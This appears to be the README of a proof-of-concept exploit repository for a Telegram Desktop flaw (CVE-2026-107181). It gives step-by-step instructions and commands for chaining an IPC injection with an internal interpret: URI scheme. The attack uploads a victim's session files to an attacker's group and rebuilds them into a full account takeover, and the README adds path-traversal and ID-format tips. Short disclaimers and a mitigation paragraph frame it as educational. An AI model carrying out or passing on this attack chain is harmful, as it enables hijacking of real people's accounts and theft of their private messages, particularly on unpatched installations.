
Proof-of-concept exploit for CVE-2026-107181 in Telegram Desktop ≤7.2.8, chaining IPC record-separator injection with the interpret: URI scheme to exfiltrate session files and take over accounts.
PoC for an IPC record-separator injection in Telegram Desktop ≤ 7.2.8 that
chains into arbitrary local file read via the internal interpret: URI
scheme, exfiltrating session files for a full account takeover.
db3405699fLab / educational use only. The vulnerability is patched. Only ever run this against systems and Telegram accounts you own.
tg:// link is forwarded to the already-running Telegram
process over its single-instance socket as text records: OPEN:<url>;OPEN: accepts any scheme, including the internal interpret:, a
leftover release-tooling helper that reads an instruction file
(channel: / file: / caption:) and uploads the named local file
to a chat — no confirmation, no authorization check.tdata/key_datas, tdata/D877F783D5D3EF8Cs, tdata/D877F783D5D3EF8C/maps)
are exfiltrated. With no local passcode set, the KEK derives from an
empty password — so these files alone rebuild the victim's session.Requirements: a Windows VM with Telegram Desktop 7.2.8 (block the auto-updater), two test Telegram accounts, a supergroup you control.
git clone https://github.com/abdugafforov-bobur/cve-2026-107181-poc.git
cd cve-2026-107181-poc
pip install -r requirements.txt # none, stdlib only
# 1. generate instruction files + start the redirect server
python3 exploit.py -c 4488553400 -p 8080
Then:
Get your supergroup's bare ID (forward a group message to
@userinfobot; strip the -100 prefix from what it reports).
Post out/i1.txt, out/i2.txt, out/i3.txt as file attachments
(documents, not photos) into the supergroup.
Post the link the server prints (http://<your-ip>:8080/go) in the group.
On the victim VM: open the group (files auto-download), ensure Telegram is running, click the link, approve "Open Telegram?".
The three session files appear in the group. Rebuild:
tdata/key_datas <- key_datas
tdata/D877F783D5D3EF8Cs <- D877F783D5D3EF8Cs
tdata/D877F783D5D3EF8C/maps <- maps
Start Telegram on a fresh install → victim's session opens.
channel: takes the bare MTProto peer id (-1004488553400 →
4488553400); the -100 form parses to id 0 and fails.from: line skips the account-id check.file: line per instruction file (only the last counts) — hence
three files and three stacked OPEN: commands.%APPDATA%\Telegram Desktop, so
../../../Downloads/Telegram%20Desktop reaches the auto-download folder
without knowing the username.Upgrade to Telegram Desktop ≥ 7.2.9. Short of that: enable "ask where to save each file" (kills auto-download), restrict who can add you to groups, and set a local passcode (doesn't stop theft, but makes the stolen session undecryptable).
Provided for educational and defensive research. The vendor fixed this in September 2026; do not use this against systems or accounts without explicit authorization. You are responsible for your actions.